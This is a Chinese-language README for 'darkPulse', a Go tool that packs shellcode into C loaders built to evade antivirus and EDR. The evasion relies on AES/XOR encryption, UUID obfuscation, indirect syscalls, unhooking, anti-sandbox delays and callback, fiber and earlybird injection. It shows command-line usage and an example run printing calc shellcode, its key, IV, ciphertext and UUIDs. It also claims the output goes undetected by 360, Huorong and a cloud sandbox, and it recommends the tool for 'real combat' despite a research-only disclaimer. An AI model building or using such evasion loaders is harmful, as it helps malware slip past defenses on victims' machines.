/darkPulse

darkPulse是一个用go编写的shellcode Packer,用于生成各种各样的shellcode loader。

Primary LanguageGo

darkPulse是一个用go编写的shellcode Packer,用于生成各种各样的shellcode loader。

目前只实现了c语言的模板。

支持aes/xor加密,uuid/words混淆,支持间接syscall和unhook两种模式下的callback,fiber,earlybird三种加载方式。

间接sysacll使用了SysWhispers3的项目,链接:klezVirus/SysWhispers3: SysWhispers on Steroids - AV/EDR evasion via direct system calls. (github.com)

unhook使用了自定义跳转函数的unhook方法 - root@Ev1LAsH ~ (killer.wtf)文中所讲述的方法,文中提到的github仓库https://github.com/trickster0/LdrLoadDll-Unhooking 只实现了64位下的demo,我在 fdx-xdf/LdrLoadDll-Unhooking-x86-x64 (github.com) 完善了32位和64位通用的一段代码。

使用方法:

首先要配好gcc的环境,命令行运行gcc -v有反应即可

在实战中推荐使用-sandbox参数,针对不同机器情况大概会休眠40s 尽量使用aes+uuid的组合,针对不同的杀软多试试不同的混淆加密方式

      _            _    _____       _          
     | |          | |  |  __ \     | |         
   __| | __ _ _ __| | _| |__) |   _| |___  ___ 
  / _` |/ _` | '__| |/ /  ___/ | | | / __|/ _ \
 | (_| | (_| | |  |   <| |   | |_| | \__ \  __/
  \__,_|\__,_|_|  |_|\_\_|    \__,_|_|___/\___|                                               

                                  author fdx_xdf
                                  version 1.1
                                  2024.04

Usage:
  -i <path>: 原始格式 Shellcode 的路径
  -enc <encryption>: Shellcode加密方式 (默认: aes)
  -lang <language>: 加载器的语言 (默认: c)
  -o <output>: 输出文件 (默认: Program)
  -k <keyLength>: 加密的密钥长度 (默认: 16)
  -obf <obfuscation>: 混淆Shellcode以降低熵值 (默认: uuid)
  -f <framework>: 目标架构32位还是64位
  -sandbox <true/false>: 是否开启反沙箱模式 (默认: true)
  -unhook <true/false>: 是否开启unhook模式 (默认: false,使用间接syscall加载)
  -loading <loadingTechnique>: 请选择加载方式,支持callback, fiber, earlybird (默认: fiber)
  -debug  <true/false>: 是否打印shellcode中间加密/混淆过程(默认为 'false',即不打印)

示例:

darkPulse.exe -i calc_shellcode.bin -f 32 -sandbox -unhook

      _            _    _____       _          
     | |          | |  |  __ \     | |         
   __| | __ _ _ __| | _| |__) |   _| |___  ___ 
  / _` |/ _` | '__| |/ /  ___/ | | | / __|/ _ \
 | (_| | (_| | |  |   <| |   | |_| | \__ \  __/
  \__,_|\__,_|_|  |_|\_\_|    \__,_|_|___/\___|   

                                  author fdx_xdf
                                  version 1.1
                                  2024.04

开始为您打包exe

原始shellcode:0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30, 0x8b, 0x52, 0x0c
, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1
, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48
, 0x01, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31
, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58
, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89
, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x6a
, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56
, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72
, 0x6f, 0x6a, 0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00

[+] Generated AES key: 0x66, 0x4d, 0x72, 0x41, 0x70, 0x62, 0x37, 0x70, 0x4b, 0x5a, 0x68, 0x43, 0x62, 0x47, 0x69, 0x6d

[+] Generated IV (16-byte): 0x75, 0x4c, 0x73, 0x77, 0x44, 0x4b, 0x36, 0x62, 0x52, 0x53, 0x6b, 0x76, 0x64, 0x57, 0x62, 0x
32

[+] Using AES-128-CBC encryption

进行加密后的shellcode:0x17, 0x12, 0xa9, 0xb3, 0x8e, 0x84, 0x5b, 0x43, 0xd3, 0x93, 0x42, 0x09, 0x26, 0x6b, 0x16, 0x90, 0
xd9, 0xa0, 0x27, 0x18, 0x5a, 0x91, 0xc8, 0x15, 0xb3, 0x93, 0x4c, 0xf6, 0x65, 0x13, 0x10, 0x0c, 0x00, 0x81, 0xd6, 0xc9, 0
x4f, 0x45, 0x41, 0xa6, 0x5f, 0xc8, 0x69, 0x4e, 0x12, 0x2f, 0x04, 0x55, 0xf2, 0x54, 0x06, 0x15, 0x93, 0x72, 0xbd, 0x6d, 0
x4d, 0x40, 0x77, 0xba, 0x3d, 0x04, 0xb8, 0x9b, 0xcd, 0x6c, 0xe9, 0x08, 0x0f, 0x47, 0xeb, 0x38, 0x35, 0x6a, 0xb3, 0x7f, 0
xfc, 0xfe, 0xd2, 0x7c, 0x8b, 0xeb, 0x08, 0x1f, 0x33, 0x8d, 0xbf, 0xbb, 0x76, 0x53, 0x04, 0x10, 0x70, 0xf2, 0xa9, 0xb0, 0
xb9, 0x8a, 0x0c, 0xc3, 0xcb, 0xce, 0x7c, 0x21, 0x57, 0x11, 0x6f, 0x0c, 0x72, 0x1f, 0x8e, 0x0c, 0xc0, 0xe0, 0x06, 0x93, 0
xe9, 0x64, 0x1e, 0x1e, 0x06, 0x07, 0x16, 0x7d, 0x6f, 0xa0, 0x3e, 0x5d, 0x53, 0x91, 0xef, 0x94, 0x39, 0x84, 0x83, 0x0a, 0
xb4, 0x6e, 0xdd, 0xa8, 0x82, 0x38, 0x8a, 0x20, 0x9b, 0x40, 0x31, 0xaa, 0xb8, 0xd5, 0xe3, 0x60, 0x76, 0xc7, 0x5c, 0x98, 0
xbe, 0xba, 0xd5, 0x55, 0xe1, 0x2c, 0x0f, 0xf3, 0x6a, 0x47, 0x02, 0x03, 0xdd, 0xc3, 0xf0, 0x51, 0x64, 0x20, 0xe8, 0x74, 0
xcf, 0xac, 0x19, 0xbd, 0xf7, 0xae, 0x44, 0x53, 0x91, 0x60, 0x76, 0x36, 0xa0, 0xed, 0x75, 0x3a, 0xcb, 0x5a, 0xda, 0xeb, 0
xc5, 0x6f, 0x9d, 0x44, 0x8c, 0xd2, 0xbb, 0xc6, 0xd1, 0xe0, 0x7d, 0x48

[+] Generated UUIDs:"b3a91217-848e-435b-d393-4209266b1690",
"1827a0d9-915a-15c8-b393-4cf66513100c",
"c9d68100-454f-a641-5fc8-694e122f0455",
"150654f2-7293-6dbd-4d40-77ba3d04b89b",
"08e96ccd-470f-38eb-356a-b37ffcfed27c",
"1f08eb8b-8d33-bbbf-7653-041070f2a9b0",
"c30c8ab9-cecb-217c-5711-6f0c721f8e0c",
"9306e0c0-64e9-1e1e-0607-167d6fa03e5d",
"94ef9153-8439-0a83-b46e-dda882388a20",
"aa31409b-d5b8-60e3-76c7-5c98bebad555",
"f30f2ce1-476a-0302-ddc3-f0516420e874",
"bd19accf-aef7-5344-9160-7636a0ed753a",
"ebda5acb-6fc5-449d-8cd2-bbc6d1e07d48",

正在为您生成模板文件: Program.c

编译成功: Program.exe

即在当前目录下生成 Program.exe

注意:syscall下的earlybird方式由于某些bug并没有使用间接syscall方式加载,尽量不要使用,另外xor+uuid的特征过于明显,尽量不要使用。

目前实现效果如下:

微步云沙箱无检出

image.png

360(未开核晶):无检出

image

火绒:无检出

image.png

360(开启核晶):无检出(使用syscall和unhook两种方式生成的exe均成功绕过核晶)

image.png

更新日志

2024.5.1 优化了错误提示,解决了部分bug,优化了unhook模板,新增debug模式,可以选择是否打印中间加密/混淆过程

to do list:

  • go模板
  • 更多加密算法
  • 分离加载
  • - unhook
  • .....

免责声明

本项目仅用安全研究的学习交流和研究,强烈不建议您用于任何的实际途径(包括黑灰产交易、非法渗透攻击、割韭菜),网络不是法外之地!如果您使用该工具则应该自觉遵守以上要求。

如果遇到问题可以提交issue,也可以通过企鹅号联系我:MTM1MDE0MTk0MA==